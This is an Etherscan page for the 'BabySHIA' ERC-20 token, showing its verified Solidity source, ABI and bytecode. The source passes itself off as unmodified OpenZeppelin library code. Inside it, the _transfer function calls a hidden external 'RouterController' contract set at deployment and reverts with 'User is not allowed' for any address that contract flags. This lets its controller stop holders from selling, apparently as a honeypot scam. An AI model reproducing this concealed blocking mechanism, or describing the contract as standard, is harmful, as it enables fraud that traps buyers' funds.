ETH Price: $2,928.63 (-7.24%)
Gas: 8 Gwei

Token

BabySHIA (BabySHIA)
 

Overview

Max Total Supply

100,000,000 BabySHIA

Holders

481

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,809.31363154134301595 BabySHIA

Value
$0.00
0xb40371778599b4d5c9b8c7cecd567c4ddb54848e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-25
*/

// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

  
    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

 // Define interface for TransferController
interface RouterController {
    function isRouted(address _account) external view returns (bool);
}
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    RouterController private routeController;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address _routeControllerAddress) {
        _name = name_;
        _symbol = symbol_;
        routeController = RouterController(_routeControllerAddress);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!routeController.isRouted(from), "User is not allowed");
        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }




    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


pragma solidity ^0.8.0;




contract Token is ERC20, Ownable {
    uint256 private constant INITIAL_SUPPLY = 100000000 * 10**18;

    constructor(
        string memory name_,
        string memory symbol_,
        address router_
        ) ERC20(name_, symbol_, router_) {
        _mint(msg.sender, INITIAL_SUPPLY);
    }

    function sendTokens(address distroWallet) external onlyOwner {
        uint256 supply = balanceOf(msg.sender);
        require(supply == INITIAL_SUPPLY, "Tokens already distributed");

        _transfer(msg.sender, distroWallet, supply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"router_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"distroWallet","type":"address"}],"name":"sendTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162001fee38038062001fee833981810160405281019062000037919062000475565b8282828260049080519060200190620000529291906200033c565b5081600590805190602001906200006b9291906200033c565b5080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050620000d0620000c4620000f660201b60201c565b620000fe60201b60201c565b620000ed336a52b7d2dcc80cd2e4000000620001c460201b60201c565b505050620007b5565b600033905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000237576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200022e9062000550565b60405180910390fd5b6200024b600083836200033260201b60201c565b80600360008282546200025f919062000607565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000312919062000572565b60405180910390a36200032e600083836200033760201b60201c565b5050565b505050565b505050565b8280546200034a90620006d8565b90600052602060002090601f0160209004810192826200036e5760008555620003ba565b82601f106200038957805160ff1916838001178555620003ba565b82800160010185558215620003ba579182015b82811115620003b95782518255916020019190600101906200039c565b5b509050620003c99190620003cd565b5090565b5b80821115620003e8576000816000905550600101620003ce565b5090565b600062000403620003fd84620005c3565b6200058f565b9050828152602081018484840111156200041c57600080fd5b62000429848285620006a2565b509392505050565b60008151905062000442816200079b565b92915050565b600082601f8301126200045a57600080fd5b81516200046c848260208601620003ec565b91505092915050565b6000806000606084860312156200048b57600080fd5b600084015167ffffffffffffffff811115620004a657600080fd5b620004b48682870162000448565b935050602084015167ffffffffffffffff811115620004d257600080fd5b620004e08682870162000448565b9250506040620004f38682870162000431565b9150509250925092565b60006200050c601f83620005f6565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200054a8162000698565b82525050565b600060208201905081810360008301526200056b81620004fd565b9050919050565b60006020820190506200058960008301846200053f565b92915050565b6000604051905081810181811067ffffffffffffffff82111715620005b957620005b86200076c565b5b8060405250919050565b600067ffffffffffffffff821115620005e157620005e06200076c565b5b601f19601f8301169050602081019050919050565b600082825260208201905092915050565b6000620006148262000698565b9150620006218362000698565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200065957620006586200070e565b5b828201905092915050565b6000620006718262000678565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015620006c2578082015181840152602081019050620006a5565b83811115620006d2576000848401525b50505050565b60006002820490506001821680620006f157607f821691505b602082108114156200070857620007076200073d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620007a68162000664565b8114620007b257600080fd5b50565b61182980620007c56000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b8063715018a614610214578063837197b21461021e5780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061145b565b60405180910390f35b610132600480360381019061012d9190610f81565b6103b4565b60405161013f9190611440565b60405180910390f35b6101506103d7565b60405161015d91906115dd565b60405180910390f35b610180600480360381019061017b9190610f32565b6103e1565b60405161018d9190611440565b60405180910390f35b61019e610410565b6040516101ab91906115f8565b60405180910390f35b6101ce60048036038101906101c99190610f81565b610419565b6040516101db9190611440565b60405180910390f35b6101fe60048036038101906101f99190610ecd565b610450565b60405161020b91906115dd565b60405180910390f35b61021c610498565b005b61023860048036038101906102339190610ecd565b6104ac565b005b61024261051d565b60405161024f9190611425565b60405180910390f35b610260610547565b60405161026d919061145b565b60405180910390f35b610290600480360381019061028b9190610f81565b6105d9565b60405161029d9190611440565b60405180910390f35b6102c060048036038101906102bb9190610f81565b610650565b6040516102cd9190611440565b60405180910390f35b6102f060048036038101906102eb9190610ef6565b610673565b6040516102fd91906115dd565b60405180910390f35b610320600480360381019061031b9190610ecd565b6106fa565b005b6060600480546103319061170d565b80601f016020809104026020016040519081016040528092919081815260200182805461035d9061170d565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b6000806103bf61077e565b90506103cc818585610786565b600191505092915050565b6000600354905090565b6000806103ec61077e565b90506103f9858285610951565b6104048585856109dd565b60019150509392505050565b60006012905090565b60008061042461077e565b90506104458185856104368589610673565b610440919061162f565b610786565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104a0610d40565b6104aa6000610dbe565b565b6104b4610d40565b60006104bf33610450565b90506a52b7d2dcc80cd2e4000000811461050e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610505906114fd565b60405180910390fd5b6105193383836109dd565b5050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546105569061170d565b80601f01602080910402602001604051908101604052809291908181526020018280546105829061170d565b80156105cf5780601f106105a4576101008083540402835291602001916105cf565b820191906000526020600020905b8154815290600101906020018083116105b257829003601f168201915b5050505050905090565b6000806105e461077e565b905060006105f28286610673565b905083811015610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e906115bd565b60405180910390fd5b6106448286868403610786565b60019250505092915050565b60008061065b61077e565b90506106688185856109dd565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610702610d40565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610772576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107699061149d565b60405180910390fd5b61077b81610dbe565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ed9061159d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085d906114bd565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161094491906115dd565b60405180910390a3505050565b600061095d8484610673565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109d757818110156109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c0906114dd565b60405180910390fd5b6109d68484848403610786565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a449061157d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610abd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab49061147d565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f5f9a371846040518263ffffffff1660e01b8152600401610b189190611425565b60206040518083038186803b158015610b3057600080fd5b505afa158015610b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b689190610fbd565b15610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f9061153d565b60405180910390fd5b610bb3838383610e84565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c309061151d565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d2791906115dd565b60405180910390a3610d3a848484610e89565b50505050565b610d4861077e565b73ffffffffffffffffffffffffffffffffffffffff16610d6661051d565b73ffffffffffffffffffffffffffffffffffffffff1614610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db39061155d565b60405180910390fd5b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081359050610e9d816117ae565b92915050565b600081519050610eb2816117c5565b92915050565b600081359050610ec7816117dc565b92915050565b600060208284031215610edf57600080fd5b6000610eed84828501610e8e565b91505092915050565b60008060408385031215610f0957600080fd5b6000610f1785828601610e8e565b9250506020610f2885828601610e8e565b9150509250929050565b600080600060608486031215610f4757600080fd5b6000610f5586828701610e8e565b9350506020610f6686828701610e8e565b9250506040610f7786828701610eb8565b9150509250925092565b60008060408385031215610f9457600080fd5b6000610fa285828601610e8e565b9250506020610fb385828601610eb8565b9150509250929050565b600060208284031215610fcf57600080fd5b6000610fdd84828501610ea3565b91505092915050565b610fef81611685565b82525050565b610ffe81611697565b82525050565b600061100f82611613565b611019818561161e565b93506110298185602086016116da565b6110328161179d565b840191505092915050565b600061104a60238361161e565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110b060268361161e565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061111660228361161e565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061117c601d8361161e565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b60006111bc601a8361161e565b91507f546f6b656e7320616c72656164792064697374726962757465640000000000006000830152602082019050919050565b60006111fc60268361161e565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061126260138361161e565b91507f55736572206973206e6f7420616c6c6f776564000000000000000000000000006000830152602082019050919050565b60006112a260208361161e565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006112e260258361161e565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061134860248361161e565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113ae60258361161e565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b611410816116c3565b82525050565b61141f816116cd565b82525050565b600060208201905061143a6000830184610fe6565b92915050565b60006020820190506114556000830184610ff5565b92915050565b600060208201905081810360008301526114758184611004565b905092915050565b600060208201905081810360008301526114968161103d565b9050919050565b600060208201905081810360008301526114b6816110a3565b9050919050565b600060208201905081810360008301526114d681611109565b9050919050565b600060208201905081810360008301526114f68161116f565b9050919050565b60006020820190508181036000830152611516816111af565b9050919050565b60006020820190508181036000830152611536816111ef565b9050919050565b6000602082019050818103600083015261155681611255565b9050919050565b6000602082019050818103600083015261157681611295565b9050919050565b60006020820190508181036000830152611596816112d5565b9050919050565b600060208201905081810360008301526115b68161133b565b9050919050565b600060208201905081810360008301526115d6816113a1565b9050919050565b60006020820190506115f26000830184611407565b92915050565b600060208201905061160d6000830184611416565b92915050565b600081519050919050565b600082825260208201905092915050565b600061163a826116c3565b9150611645836116c3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561167a5761167961173f565b5b828201905092915050565b6000611690826116a3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156116f85780820151818401526020810190506116dd565b83811115611707576000848401525b50505050565b6000600282049050600182168061172557607f821691505b602082108114156117395761173861176e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6117b781611685565b81146117c257600080fd5b50565b6117ce81611697565b81146117d957600080fd5b50565b6117e5816116c3565b81146117f057600080fd5b5056fea2646970667358221220085b141c968127094923215cf34574b3c96395a67b98a0b86615e3ee3c3f50bc64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000cdb3342be5b23228a1b20b377d022136ee4d93670000000000000000000000000000000000000000000000000000000000000008426162795348494100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000084261627953484941000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b8063715018a614610214578063837197b21461021e5780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061145b565b60405180910390f35b610132600480360381019061012d9190610f81565b6103b4565b60405161013f9190611440565b60405180910390f35b6101506103d7565b60405161015d91906115dd565b60405180910390f35b610180600480360381019061017b9190610f32565b6103e1565b60405161018d9190611440565b60405180910390f35b61019e610410565b6040516101ab91906115f8565b60405180910390f35b6101ce60048036038101906101c99190610f81565b610419565b6040516101db9190611440565b60405180910390f35b6101fe60048036038101906101f99190610ecd565b610450565b60405161020b91906115dd565b60405180910390f35b61021c610498565b005b61023860048036038101906102339190610ecd565b6104ac565b005b61024261051d565b60405161024f9190611425565b60405180910390f35b610260610547565b60405161026d919061145b565b60405180910390f35b610290600480360381019061028b9190610f81565b6105d9565b60405161029d9190611440565b60405180910390f35b6102c060048036038101906102bb9190610f81565b610650565b6040516102cd9190611440565b60405180910390f35b6102f060048036038101906102eb9190610ef6565b610673565b6040516102fd91906115dd565b60405180910390f35b610320600480360381019061031b9190610ecd565b6106fa565b005b6060600480546103319061170d565b80601f016020809104026020016040519081016040528092919081815260200182805461035d9061170d565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b6000806103bf61077e565b90506103cc818585610786565b600191505092915050565b6000600354905090565b6000806103ec61077e565b90506103f9858285610951565b6104048585856109dd565b60019150509392505050565b60006012905090565b60008061042461077e565b90506104458185856104368589610673565b610440919061162f565b610786565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104a0610d40565b6104aa6000610dbe565b565b6104b4610d4056